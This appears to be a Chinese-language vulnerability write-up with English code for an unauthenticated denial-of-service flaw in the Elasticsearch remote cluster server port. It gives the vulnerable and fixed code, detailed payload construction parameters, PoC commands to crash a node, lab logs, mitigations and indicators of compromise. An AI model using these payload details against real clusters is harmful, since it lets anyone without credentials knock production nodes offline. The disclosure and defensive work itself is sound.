根本原因: 不受控递归(CWE-674)。节点在检查 API key 之前就反序列化攻击者提供的字节:向远程集群服务器端口发送一个未认证的 TCP 请求,就足以用 StackOverflowError 耗尽工作线程栈并使节点宕机。对每个可达节点重复此操作即可。
| CVE | CVE-2026-115290 |
| 安全公告 | Elastic ESA-2026-201 (2026-11-03) |
| 严重性 | CVSS 3.1 7.5 High,向量 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| 受影响版本 | Elasticsearch 8.10.0 至 8.19.23、9.0.0 至 9.4.8、9.5.0 至 9.5.5,且启用 remote_cluster_server.enabled: true |
| 修复版本 | 8.19.24 / 9.4.9 / 9.5.6 |
| 修复提交 | 0b1b229c8c(“Verify API key before decoding cross-cluster info”,elastic/elasticsearch #161492) |
| 前提条件 | Enterprise / 试用许可证(功能 advanced-remote-cluster-security),接口已启用 |
CrossClusterAccessAuthenticationService.authenticate()(≤ 8.19.23)会尽可能早地解码由发送方控制的 subject-info 头,以便审计事件能够包含 API key id:
// 8.19.23, vulnerable build
public static CrossClusterAccessHeaders readFromContext(final ThreadContext ctx) {
final String credentialsHeader = ctx.getHeader(CROSS_CLUSTER_ACCESS_CREDENTIALS_HEADER_KEY);
parseCredentialsHeader(credentialsHeader).close(); // (1) format-check only
return new CrossClusterAccessHeaders(credentialsHeader,
CrossClusterAccessSubjectInfo.readFromContext(ctx)); // (2) DECODES attacker bytes, pre-auth
}
解码过程是纯反序列化,没有深度限制:
public static CrossClusterAccessSubjectInfo decode(final String header) {
byte[] bytes = Base64.getDecoder().decode(header);
StreamInput in = StreamInput.wrap(bytes);
TransportVersion version = TransportVersion.readVersion(in); // attacker-chosen
in.setTransportVersion(version);
Authentication authentication = new Authentication(in); // -> readMetadata -> readGenericValue
...
}
StreamInput.readGenericValue() 在嵌套 map(类型标签 10)上无深度限制地递归。
约 20 万个嵌套的单条目 map 就足以在 decode() 内部使传输线程的栈溢出。
已修复(8.19.24): subject 信息在 API key 通过认证之前保持编码状态,因此 未认证的请求永远不会到达反序列化器:
// 8.19.24, CrossClusterAccessRequestHeaders keeps the header as a String
final String subjectInfoHeader = requiredHeader(ctx, CROSS_CLUSTER_ACCESS_SUBJECT_INFO_HEADER_KEY);
...
// only after successful API-key authentication:
final CrossClusterAccessSubjectInfo subjectInfo = requestHeaders.decodeSubjectInfo().cleanAndValidate();
attacker ──TCP :9443──> remote cluster server port (profile _remote_cluster)
ES transport frame: action "indices:data/read/search" (any registered action)
ThreadContext headers:
_cross_cluster_access_credentials = "ApiKey <base64(id:key)>" (format-valid, key unknown)
_cross_cluster_access_subject_info = base64(vInt TransportVersion + Authentication{ metadata =
{ "poc_nested": {a: {a: {a: ... 200k deep ... }}} } } + roleDescriptorsBytesList[])
InboundHandler.handleRequest -> RequestHandlerRegistry (action exists) ->
ProfileSecuredRequestHandler.messageReceived (profile _remote_cluster) ->
CrossClusterAccessServerTransportFilter.authenticate -> license check -> header presence check ->
CrossClusterAccessAuthenticationService.authenticate -> CrossClusterAccessHeaders.readFromContext ->
CrossClusterAccessSubjectInfo.decode -> StreamInput.readGenericValue (unbounded) -> StackOverflowError
-> netty exceptionCaught -> ExceptionsHelper.maybeDieOnAnotherThread ->
ElasticsearchUncaughtExceptionHandler: "fatal error in thread [...], exiting" -> Runtime.halt(126)
使攻击变得容易的几点:
TransportVersion.isCompatible);TransportVersion(通过 readVInt 读取),因此反序列化分支可以独立于消息头版本进行控制;ApiKey <base64(id:key)>),密钥本身从不需要进行身份验证,因为崩溃发生在该步骤运行之前;readGenericValue 类型标签:0 字符串,10 映射(递归),0xFF null;字符串为 vInt charCount + utf8;整数为 7 位 LEB128 vInt。poc/poc.py PoC client (stdlib-only): check | exploit | dump
lab/run-lab.sh podman lab: vulnerable 8.19.23 (:9200/:9443) + fixed 8.19.24 (:9201/:9444)
lab/es-*/elasticsearch.yml node configs (RCS enabled, TLS off, trial license, security on)
lab/stop-lab.sh
evidence/ captured logs + PoC transcripts (not published)
podman pull docker.elastic.co/elasticsearch/elasticsearch:8.19.23 \
docker.elastic.co/elasticsearch/elasticsearch:8.19.24
./lab/run-lab.sh # both containers capped at --cpus 2 --memory 4g
# 1) unauthenticated handshake probe on the vulnerable node's RCS port
python3 poc/poc.py check --host 127.0.0.1 --port 9443
# 2) kill the vulnerable node
python3 poc/poc.py exploit --host 127.0.0.1 --port 9443
# connection drops, node exits with "fatal error in thread [...], exiting", halt(126)
# 3) A/B: identical payload against the fixed build, node survives and rejects the auth
python3 poc/poc.py exploit --host 127.0.0.1 --port 9444
./lab/stop-lab.sh
TLS 部署:在任意模式下添加 --tls。
单元级复现(可选):仅将 payload 输入真实解码器即可:
CrossClusterAccessSubjectInfo.decode(header) -> StackOverflowError # verified against 8.19.23 jars
evidence/,并在本实验中复现)存在漏洞的节点(8.19.23,es-vuln)。一次 exploit 请求,未经身份验证:
[*] server closed the connection after 0.40s (closed=True, got 0 bytes)
[+] NODE TERMINATED: remote cluster server port 9443 refuses connections -- unauthenticated DoS reproduced
podman ps -a: es-vuln Exited (126) # Runtime.halt(126) == uncaught StackOverflowError
elasticsearch.log(参见 evidence/es-vuln-fatal.log):
ERROR "fatal error java.lang.StackOverflowError" ... Netty4MessageInboundHandler.exceptionCaught ->
ExceptionsHelper.maybeDieOnAnotherThread -> elasticsearch-error-rethrower
ERROR "fatal error in thread [elasticsearch-error-rethrower], exiting"
java.lang.StackOverflowError
at StreamInput.readGenericValue(StreamInput.java:859)
at StreamInput.readMap(StreamInput.java:751)
at StreamInput.readMap(StreamInput.java:736)
at StreamInput.readGenericValue(StreamInput.java:872) <- recursion loop, ~4 frames / nesting level
...
固定节点(8.19.24,es-fixed),载荷相同:
[*] response frame: status=0x03 (error response)
[*] response text: "unable to find apikey with id cve-2026-115290"
at CrossClusterAccessAuthenticationService.lambda$tryAuthenticate$3 <- auth ran, decode never did
[!] node is STILL ALIVE after the payload
podman ps -a: es-fixed Up (serving)
_remote_cluster 配置将变量传输头限制为 64 kb
(header size [...] exceeds limit of [64kb]),因此 base64 编码的 subject-info 数据块必须保持在该限制以下。
8,000 层嵌套(约 53kb base64,约 32k 递归帧)会可靠地耗尽 worker 的
1 MB 栈(-Xss1m);ApiKeyService.parseApiKey:ApiKey <base64(id:secret)>,其中
secret 恰好为 22 个字符(格式有效,但 id/secret 是伪造的);TaskId + BytesReference(TransportVersion vInt + release string)
(内部字节为空会导致 transportVersion == null NPE),头版本必须是
{6080099, 7170099, 8800000} 之一;halt(126),因此 PoC 的存活探测最多重试 24 秒,之后才判定节点存活。remote_cluster_server.enabled: false),或
将 RCS 端口通过防火墙限制为仅受信任的远程集群可访问(即公告中的 IP 过滤建议)。_remote_cluster 配置上,CrossClusterAccessSubjectInfo.decode / readGenericValue
处出现 fatal error in thread + StackOverflowError 是
明确的 IOC;审计 RCS 端口上在请求中途断开的连接。同一补丁窗口包含 7fc384373d(Validate LZ4 transport block decompression to its
declared length,#161345,type: bug)。修复前,Lz4TransportDecompressor.decodeBlock() 允许
数据块声明一个长于其自身 compressedLength 的字面量运行,从而读取攻击者提供的
相邻缓冲区字节并使数据块流失去同步。这是一个健壮性缺陷,而非 DoS:
decompressedLength 已被硬性限制(1 << compressionLevel),compressedLength 受
MAX_BLOCK_SIZE 限制,因此不可能发生无界分配,只会在攻击者已控制的缓冲区内部
造成流混淆。此处未涵盖(可能的后续工作):传输端口(9300)上的 DEFLATE 传输方案
扩展比。